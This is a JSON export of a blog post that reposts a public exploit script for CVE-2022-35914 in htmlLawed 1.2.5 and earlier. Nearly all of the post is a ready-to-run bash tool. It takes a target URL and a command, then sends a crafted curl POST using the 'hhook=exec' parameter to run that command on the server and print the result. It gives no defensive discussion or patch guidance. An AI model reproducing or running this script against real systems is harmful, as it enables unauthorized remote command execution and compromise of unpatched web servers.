{"id":56641,"date":"2024-05-02T18:30:54","date_gmt":"2024-05-02T14:30:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178425\/CVE-2022-35914.sh.txt"},"modified":"2024-05-02T18:30:54","modified_gmt":"2024-05-02T14:30:54","slug":"htmllawed-1-2-5-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/htmllawed-1-2-5-remote-command-execution\/","title":{"rendered":"htmlLawed 1.2.5 Remote Command Execution"},"content":{"rendered":"<p>#!\/bin\/bash<\/p>\n<p># Exploit Title: htmlLawed &lt;= 1.2.5 &#8211; Remote Code Execution<\/p>\n<p># Date: 2024-05-02<br \/># Exploit Author: Miguel Redondo (aka d4t4s3c)<br \/># Vendor Homepage: https:\/\/www.bioinformatics.org\/phplabware\/internal_utilities\/htmLawed<br \/># Software Link: https:\/\/github.com\/kesar\/HTMLawed<br \/># Version: &lt;= 1.2.5<br \/># Tested on: Linux<br \/># Category: Web Application<br \/># CVE: CVE-2022-35914<\/p>\n<p>while getopts &#8220;:u:c:&#8221; arg; do<br \/>case ${arg} in<br \/>u) url=${OPTARG}; let parameter_counter+=1 ;;<br \/>c) cmd=${OPTARG}; let parameter_counter+=1 ;;<br \/>esac<br \/>done<\/p>\n<p>if [ -z &#8220;${url}&#8221; ] || [ -z &#8220;${cmd}&#8221; ]; then<br \/>echo -e &#8220;\\n[*] htmlLawed &lt;= 1.2.5 &#8211; Remote Code Execution&#8221;<br \/>echo -e &#8220;\\n[-] Usage: CVE-2022-35914.sh -u &lt;url&gt; -c &lt;cmd&gt;\\n&#8221;<br \/>exit 1<br \/>else<br \/>echo -e &#8220;\\n[*] htmlLawed &lt;= 1.2.5 &#8211; Remote Code Execution&#8221;<br \/>echo -e &#8220;\\n[+] Executing Command: ${cmd}\\n&#8221;<br \/>cmd_output=$(curl -s -d &#8220;sid=foo&amp;hhook=exec&amp;text=${cmd}&#8221; -b &#8220;sid=foo&#8221; ${url} | egrep &#8216;\\&amp;nbsp; \\[[0-9]+\\] =\\&gt;&#8217; | sed -E &#8216;s\/\\&amp;nbsp; \\[[0-9]+\\] =\\&gt; (.*)&lt;br \\\/&gt;\/\\1\/&#8217;)<br \/>echo -e &#8220;${cmd_output}\\n&#8221;<br \/>exit 0<br \/>fi<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/bin\/bash # Exploit Title: htmlLawed &lt;= 1.2.5 &#8211; Remote Code Execution # Date: 2024-05-02# Exploit Author: Miguel Redondo (aka d4t4s3c)# Vendor Homepage: https:\/\/www.bioinformatics.org\/phplabware\/internal_utilities\/htmLawed# Software Link: https:\/\/github.com\/kesar\/HTMLawed# Version: &lt;= 1.2.5# Tested on: Linux# Category: Web Application# CVE: CVE-2022-35914 while getopts &#8220;:u:c:&#8221; arg; docase ${arg} inu) url=${OPTARG}; let parameter_counter+=1 ;;c) cmd=${OPTARG}; let parameter_counter+=1 ;;esacdone if [ -z &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56641","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56641","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56641"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56641\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56641"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56641"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56641"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}